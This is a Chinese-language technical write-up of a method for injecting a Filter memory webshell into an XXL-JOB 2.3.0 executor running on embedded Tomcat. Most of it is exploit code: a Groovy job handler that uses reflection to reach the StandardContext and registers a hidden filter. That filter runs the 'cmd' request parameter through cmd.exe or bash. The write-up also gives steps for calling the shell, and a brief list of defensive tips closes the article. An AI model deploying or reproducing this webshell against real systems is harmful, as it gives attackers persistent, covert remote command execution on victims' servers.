xxl-job-executor注入filter内存马
字数 1713 2025-08-18 11:36:48
XXL-JOB Executor Filter内存马注入技术分析
一、背景与适用场景
XXL-JOB是一个分布式任务调度平台,分为管理端(xxl-job-admin)和执行端(xxl-job-executor)。传统的内存马注入技术要求管理端和执行端处于同一台主机上,本文介绍了一种针对端点分离情况的Filter内存马注入技术。
适用场景:
- 目标环境不出网
- xxl-job-admin和xxl-job-executor不在同一台主机
- 测试环境为xxl-job-2.3.0(tomcat9),其他版本未测试
二、技术原理分析
1. XXL-JOB端口配置
在application.properties中有两个关键端口配置:
# web端口
server.port=8081
# xxl-job executor服务端口
xxl.job.executor.port=9999
executor.port(9999)后端是Netty服务server.port(8081)是Tomcat服务,虽然返回whitelable error page,但仍可用于注入Filter内存马
2. 技术难点
-
StandardContext获取问题:
- embedded-tomcat无法使用通用payload获取StandardContext
- 需要自行构造exp获取StandardContext
-
Java-object-searcher工具修改:
- 原工具存在表达式执行问题,需修改构造函数
- 修改后的构造函数:
public SearchRequstByBFS(Object target){ this.target = target; q.offer(new NodeT.Builder().setChain("").setField_name("TargetObject").setField_object(target).build()); } - 添加
addKey()方法:public void addKey(Keyword keyword){ this.keys.add(keyword); }
三、详细实现步骤
1. 搜索Request对象
使用修改后的java-object-searcher搜索Request对象:
// 定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
// 新建搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread());
// 设置搜索类型
searcher.addKey(new Keyword.Builder().setField_type("ServletRequest").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestGroup").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestInfo").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestGroupInfo").build());
searcher.addKey(new Keyword.Builder().setField_type("Request").build());
// 设置搜索参数
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("D:\\temp");
searcher.searchObject();
2. 获取StandardContext
通过线程分析获取TomcatEmbeddedContext(StandardContext):
- 获取当前线程组
- 遍历线程组中的所有线程
- 查找包含"container"或"http-nio-"的线程
- 从线程中获取Tomcat容器相关对象
3. 构造Filter内存马
完整EXP代码结构:
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
// 其他必要的import
public class DemoGlueJobHandler extends IJobHandler {
// 辅助方法:获取字段值
public Object getField(Object obj, String fieldName){...}
// 辅助方法:获取父类字段值
public Object getSuperClassField(Object obj, String fieldName){...}
public void execute() throws Exception {
// 1. 创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
// 命令执行逻辑
if (req.getParameter("cmd") != null) {
// 处理命令执行和回显
// ...
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}
};
String filterName = "xxl-job-filter";
// 2. 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
// 3. 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 4. 准备ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
Context.class, FilterDef.class);
constructor.setAccessible(true);
// 5. 获取StandardContext
// ... (线程分析代码)
// 6. 注入Filter
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
standardContext.addFilterMapBefore(filterMap);
XxlJobHelper.log("success! memshell port:"+port);
}
}
4. 关键实现细节
-
命令执行处理:
- 由于XXL-JOB中的Groovy不支持
new String[]{"cmd.exe", "/c", cmd}语法,改用ArrayList方式:ArrayList<String> cmdList = new ArrayList<>(); String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { cmdList.add("cmd.exe"); cmdList.add("/c"); } else { cmdList.add("/bin/bash"); cmdList.add("-c"); } cmdList.add(req.getParameter("cmd")); String[] cmds = cmdList.toArray(new String[0]);
- 由于XXL-JOB中的Groovy不支持
-
线程分析获取StandardContext:
- 查找名称包含"container"的线程获取Tomcat容器
- 查找名称包含"http-nio-"的线程获取web端口
- 通过反射获取Tomcat内部对象链:
this$0→tomcat→server→services→engine→children
-
Filter注入:
- 创建FilterDef并设置filter实例
- 创建FilterMap并设置URL模式
- 通过反射创建ApplicationFilterConfig
- 将Filter添加到StandardContext的filterConfigs中
- 使用
addFilterMapBefore确保Filter优先执行
四、验证与使用
- 注入成功后,日志会输出executor的web端口
- 访问注入的端口(默认8081),添加cmd参数执行命令
http://target:8081/?cmd=whoami
五、注意事项
-
Groovy语法限制:
- 不支持内部类写法,字符串中的
this$0需要转义 - 不支持
new Class[]{String.class, int.class}语法,需使用ArrayList替代
- 不支持内部类写法,字符串中的
-
环境差异:
- 默认假设StandardContext路径为
localhost→"" - 不同环境可能需要调整children的key
- 默认假设StandardContext路径为
-
端口访问:
- 需要先访问8081端口激活RequestInfo
- 虽然该端口返回whitelable error page,但不影响内存马功能
六、防御建议
- 限制XXL-JOB执行端的代码执行权限
- 监控不常见的Filter添加行为
- 定期检查Tomcat的Filter配置
- 更新XXL-JOB到最新版本,关注安全公告
本技术提供了一种在XXL-JOB执行端注入Filter内存马的方法,适用于管理端和执行端分离的场景,通过Tomcat的8081端口实现命令执行功能。